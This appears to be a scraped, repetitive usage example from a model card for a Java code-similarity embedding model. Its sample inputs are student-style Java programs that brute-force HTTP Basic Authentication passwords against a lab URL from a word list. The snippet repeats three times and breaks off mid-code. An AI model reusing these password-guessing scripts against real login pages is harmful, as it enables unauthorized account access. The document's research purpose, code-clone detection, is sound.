Timestamp(System.currentTimeMillis()));\n\n    }\n\n    public String printUsage()\n    {\n        StringBuffer s = new StringBuffer();\n\n        s.append("** BruteForce proper usage **\\n\\n");\n        s.append(\n            "java ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\\n\\n");\n\n        return s.toString();\n    }\n    \n    public String getWordFile()\n    {\n        return wordFile;\n    }\n\n    \n    public void setWordFile(String string)\n    {\n        wordFile = string;\n    }\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.8406, 0.0784],
#         [0.8406, 1.0000, 0.0079],
#         [0.0784, 0.0079, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-codet5-mnrl-triplets-ep1-bs16-lr2e-05-split0.0")
# Run inference
sentences = [
    'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary {\n\n   URLConnection conn = null;\n   private static boolean status = false;\n\n   public static void main (String args[]){\n     Dictionary a = new Dictionary();\n     String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n     \t\t\t\t "",\n     \t\t\t\t ""};\n     File file = new File("words");\n     exit:\n     try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null) {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n     \t\t \tif (status) {\n\t\t\t \t\t System.out.println("Crrect password is: " + inp[2]);\n\t\t\t \t\t System.out.println("Number of attempts = " + attempt);\n\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n   \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println("File not found: " + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\t}\n\n   }\n\n   public void doit(String args[]) {\n     \n     try {\n       BufferedReader in = new BufferedReader(\n           new InputStreamReader\n              (connectURL(new URL(args[0]), args[1], args[2])));\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           status = true;\n           }\n       }\n     catch (IOException e) {\n   \n       }\n     }\n\n   public InputStream connectURL (URL url, String uname, String pword)\n        throws IOException  {\n     conn = url.openConnection();\n     conn.setRequestProperty ("Authorization",\n     userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n   public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n   private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n   private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n        case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n        case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n        case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts = 0;\n   URLConnection conn = null;\n\n   public static void main (String args[]){\n\n\tDictionary a = new Dictionary();\n     a.attack(args);\n     }\n\n   public void attack(String args[]) {\n   try {\n       String login = new String("");\n       String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n       String passwd = new String();\n\n\n       passwd = getPasswd();\n       BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           }\n           System.out.println("Password Cracked Successfully!!!");\n           System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");\n       }\n     catch (IOException e) {\n  \n      String r = new String(e.getMessage());\n    if ( r != null)\n    {\n     System.out.println("Message :" +r);\n     Dictionary a = new Dictionary();\n     a.attack(args);\n    }\n     else\n     {\n\tSystem.out.println("Trying again");\n\tDictionary a = new Dictionary();\n\ta.attack(args);\n     }\n     }\n   }\n  public String getPasswd()\n  {\n\n int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println("Passing dictionary word and waiting for URL reply....... ");\n  String currentword = "";\n  String se = "";\n  try{\n FileInputStream reader = new FileInputStream ("words");\n DataInputStream in = new DataInputStream(reader);\n while (in.available() !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n  catch( IOException e){}\n\n  return currentword;\n\t \n         }\n\n\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException  {\n     conn = url.openConnection();\n     conn.setDoInput (true);\n     conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n\n public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n         case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n         case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n         case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\nimport java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n    protected String wordFile;\n\n    public Dictionary()\n    {\n        super();\n    }\n\n    public static void main(String[] args)\n    {\n        Dictionary dictionary = new Dictionary();\n\n        if (args.length < 3)\n        {\n            System.out.println(dictionary.printUsage());\n        }\n        else\n        {\n            dictionary.setURL(args[0]);\n            dictionary.setUserName(args[1]);\n            dictionary.setWordFile(args[2]);\n\n            if (args.length > 3)\n            {\n                dictionary.setFileName(args[3]);\n            }\n            dictionary.process();\n            System.out.println(dictionary.printResult());\n            System.exit(1);\n        }\n    }\n\n    public void process()\n    {\n        attempts = 0;\n        String password = "";\n        \n        setStart(new Timestamp(System.currentTimeMillis()));\n\n        BufferedReader input = null;\n        try\n        {\n            FileReader file = new FileReader(getWordFile());\n            \n            input = new BufferedReader(file);\n            \n        }\n        catch (FileNotFoundException x)\n        {\n            System.err.println("File not found: " + getWordFile());\n            System.exit(2);\n        }\n\n        try\n        {\n            while ((password = input.readLine()) != null)\n            {\n                try\n                {\n                    \n                    attempts++;\n                    BasicAuthHttpRequest req =\n                        new BasicAuthHttpRequest(\n                            getURL(),\n                            getUserName(),\n                            password);\n                    setPassword(password);\n                    setEnd(new Timestamp(System.currentTimeMillis()));\n                    setContent(req.getContent().toString());\n\n                    \n                    if (getFileName() != null\n                        && getFileName().length() > 0)\n                    {\n                        createReport();\n                    }\n                    return;\n                }\n                catch (MalformedURLException e)\n                {\n                    e.printStackTrace();\n                    return;\n                }\n                catch (IOException e)\n                {\n\n                }\n            }\n        }\n        catch (IOException x)\n        {\n            x.printStackTrace();\n        }\n\n        \n        setEnd(new Timestamp(System.currentTimeMillis()));\n\n    }\n\n    public String printUsage()\n    {\n        StringBuffer s = new StringBuffer();\n\n        s.append("** BruteForce proper usage **\\n\\n");\n        s.append(\n            "java ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\\n\\n");\n\n        return s.toString();\n    }\n    \n    public String getWordFile()\n    {\n        return wordFile;\n    }\n\n    \n    public void setWordFile(String string)\n    {\n        wordFile = string;\n    }\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.8406, 0.0784],
#         [0.8406, 1.0000, 0.0079],
#         [0.0784, 0.0079, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-codet5-mnrl-triplets-ep1-bs16-lr2e-05-split0.0")
# Run inference
sentences = [
    'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary {\n\n   URLConnection conn = null;\n   private static boolean status = false;\n\n   public static void main (String args[]){\n     Dictionary a = new Dictionary();\n     String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n     \t\t\t\t "",\n     \t\t\t\t ""};\n     File file = new File("words");\n     exit:\n     try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null) {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n     \t\t \tif (status) {\n\t\t\t \t\t System.out.println("Crrect password is: " + inp[2]);\n\t\t\t \t\t System.out.println("Number of attempts = " + attempt);\n\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n   \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println("File not found: " + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\t}\n\n   }\n\n   public void doit(String args[]) {\n     \n     try {\n       BufferedReader in = new BufferedReader(\n           new InputStreamReader\n              (connectURL(new URL(args[0]), args[1], args[2])));\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           status = true;\n           }\n       }\n     catch (IOException e) {\n   \n       }\n     }\n\n   public InputStream connectURL (URL url, String uname, String pword)\n        throws IOException  {\n     conn = url.openConnection();\n     conn.setRequestProperty ("Authorization",\n     userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n   public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n   private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n   private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n        case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n        case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n        case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts = 0;\n   URLConnection conn = null;\n\n   public static void main (String args[]){\n\n\tDictionary a = new Dictionary();\n     a.attack(args);\n     }\n\n   public void attack(String args[]) {\n   try {\n       String login = new String("");\n       String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n       String passwd = new String();\n\n\n       passwd = getPasswd();\n       BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           }\n           System.out.println("Password Cracked Successfully!!!");\n           System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");\n       }\n     catch (IOException e) {\n  \n      String r = new String(e.getMessage());\n    if ( r != null)\n    {\n     System.out.println("Message :" +r);\n     Dictionary a = new Dictionary();\n     a.attack(args);\n    }\n     else\n     {\n\tSystem.out.println("Trying again");\n\tDictionary a = new Dictionary();\n\ta.attack(args);\n     }\n     }\n   }\n  public String getPasswd()\n  {\n\n int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println("Passing dictionary word and waiting for URL reply....... ");\n  String currentword = "";\n  String se = "";\n  try{\n FileInputStream reader = new FileInputStream ("words");\n DataInputStream in = new DataInputStream(reader);\n while (in.available() !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n  catch( IOException e){}\n\n  return currentword;\n\t \n         }\n\n\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException  {\n     conn = url.openConnection();\n     conn.setDoInput (true);\n     conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n\n public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n         case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n         case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n         case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\nimport java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n    protected String wordFile;\n\n    public Dictionary()\n    {\n        super();\n    }\n\n    public static void main(String[] args)\n    {\n        Dictionary dictionary = new Dictionary();\n\n        if (args.length < 3)\n        {\n            System.out.println(dictionary.printUsage());\n        }\n        else\n        {\n            dictionary.setURL(args[0]);\n            dictionary.setUserName(args[1]);\n            dictionary.setWordFile(args[2]);\n\n            if (args.length > 3)\n            {\n                dictionary.setFileName(args[3]);\n            }\n            dictionary.process();\n            System.out.println(dictionary.printResult());\n            System.exit(1);\n        }\n    }\n\n    public void process()\n    {\n        attempts = 0;\n        String password = "";\n        \n        setStart(new Timestamp(System.currentTimeMillis()));\n\n        BufferedReader input = null;\n        try\n        {\n            FileReader file = new FileReader(getWordFile());\n            \n            input = new BufferedReader(file);\n            \n        }\n        catch (FileNotFoundException x)\n        {\n            System.err.println("File not found: " + getWordFile());\n            System.exit(2);\n        }\n\n        try\n        {\n            while ((password = input.readLine()) != null)\n            {\n                try\n                {\n                    \n                    attempts++;\n                    BasicAuthHttpRequest req =\n                        new BasicAuthHttpRequest(\n                            getURL(),\n                            getUserName(),\n                            password);\n                    setPassword(password);\n                    setEnd(new Timestamp(System.currentTimeMillis()));\n                    setContent(req.getContent().toString());\n\n                    \n                    if (getFileName() != null\n                        && getFileName().length() > 0)\n                    {\n                        createReport();\n                    }\n                    return;\n                }\n                catch (MalformedURLException e)\n                {\n                    e.printStackTrace();\n                    return;\n                }\n                catch (IOException e)\n                {\n\n                }\n            }\n        }\n        catch (IOException x)\n        {\n            x.printStackTrace();\n        }\n\n        \n        setEnd(new Timestamp(System.currentTimeMillis()));\n\n    }\n\n    public String printUsage()\n    {\n        StringBuffer s = new StringBuffer();\n\n        s.append("** BruteForce proper usage **\\n\\n");\n        s.append(\n            "java ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\\n\\n");\n\n        return s.toString();\n    }\n    \n    public String getWordFile()\n    {\n        return wordFile;\n    }\n\n    \n    public void setWordFile(String string)\n    {\n        wordFile = string;\n    }\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.8406, 0.0784],
#         [0.8406, 1.0000, 0.0079],
#         [0.0784, 0.0079, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-codet5-mnrl-triplets-ep1-bs16-lr2e-05-split0.0")
# Run inference
sentences = [
    'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary {\n\n   URLConnection conn = null;\n   private static boolean status = false;\n\n   public static void main (String args[]){\n     Dictionary a = new Dictionary();\n     String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n     \t\t\t\t "",\n     \t\t\t\t ""};\n     File file = new File("words");\n     exit:\n     try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null) {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n     \t\t \tif (status) {\n\t\t\t \t\t System.out.println("Crrect password is: " + inp[2]);\n\t\t\t \t\t System.out.println("Number of attempts = " + attempt);\n\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n   \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println("File not found: " + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\t}\n\n   }\n\n   public void doit(String args[]) {\n     \n     try {\n       BufferedReader in = new BufferedReader(\n           new InputStreamReader\n              (connectURL(new URL(args[0]), args[1], args[2])));\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           status = true;\n           }\n       }\n     catch (IOException e) {\n   \n       }\n     }\n\n   public InputStream connectURL (URL url, String uname, String pword)\n        throws IOException  {\n     conn = url.openConnection();\n     conn.setRequestProperty ("Authorization",\n     userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n   public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n   private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n   private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n        case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n        case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n        case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts = 0;\n   URLConnection conn = null;\n\n   public static void main (String args[]){\n\n\tDictionary a = new Dictionary();\n     a.attack(args);\n     }\n\n   public void attack(String args[]) {\n   try {\n       String login = new String("");\n       String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n       String passwd = new String();\n\n\n       passwd = getPasswd();\n       BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           }\n           System.out.println("Password Cracked Successfully!!!");\n           System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");\n       }\n     catch (IOException e) {\n  \n      String r = new String(e.getMessage());\n    if ( r != null)\n    {\n     System.out.println("Message :" +r);\n     Dictionary a = new Dictionary();\n     a.attack(args);\n    }\n     else\n     {\n\tSystem.out.println("Trying again");\n\tDictionary a = new Dictionary();\n\ta.attack(args);\n     }\n     }\n   }\n  public String getPasswd()\n  {\n\n int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println("Passing dictionary word and waiting for URL reply....... ");\n  String currentword = "";\n  String se = "";\n  try{\n FileInputStream reader = new FileInputStream ("words");\n DataInputStream in = new DataInputStream(reader);\n while (in.available() !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n  catch( IOException e){}\n\n  return currentword;\n\t \n         }\n\n\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException  {\n     conn = url.openConnection();\n     conn.setDoInput (true);\n     conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n\n public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n         case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n         case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n         case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\nimport java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n    protected String wordFile;\n\n    public Dictionary()\n    {\n        super();\n    }\n\n    public static void main(String[] args)\n    {\n        Dictionary dictionary = new Dictionary();\n\n        if (args.length < 3)\n        {\n            System.out.println(dictionary.printUsage());\n        }\n        else\n        {\n            dictionary.setURL(args[0]);\n            dictionary.setUserName(args[1]);\n            dictionary.setWordFile(args[2]);\n\n            if (args.length > 3)\n            {\n                dictionary.setFileName(args[3]);\n            }\n            dictionary.process();\n            System.out.println(dictionary.printResult());\n            System.exit(1);\n        }\n    }\n\n    public void process()\n    {\n        attempts = 0;\n        String password = "";\n        \n        setStart(new Timestamp(System.currentTimeMillis()));\n\n        BufferedReader input = null;\n        try\n        {\n            FileReader file = new FileReader(getWordFile());\n            \n            input = new BufferedReader(file);\n            \n        }\n        catch (FileNotFoundException x)\n        {\n            System.err.println("File not found: " + getWordFile());\n            System.exit(2);\n        }\n\n        try\n        {\n            while ((password = input.readLine()) != null)\n            {\n                try\n                {\n                    \n                    attempts++;\n                    BasicAuthHttpRequest req =\n                        new BasicAuthHttpRequest(\n                            getURL(),\n                            getUserName(),\n                            password);\n                    setPassword(password);\n                    setEnd(new Timestamp(System.currentTimeMillis()));\n                    setContent(req.getContent().toString());\n\n                    \n                    if (getFileName() != null\n                        && getFileName().length() > 0)\n                    {\n                        createReport();\n                    }\n                    return;\n                }\n                catch (MalformedURLException e)\n                {\n                    e.printStackTrace();\n                    return;\n                }\n                catch (IOException e)\n                {\n\n                }\n            }\n        }\n        catch (IOException x)\n        {\n          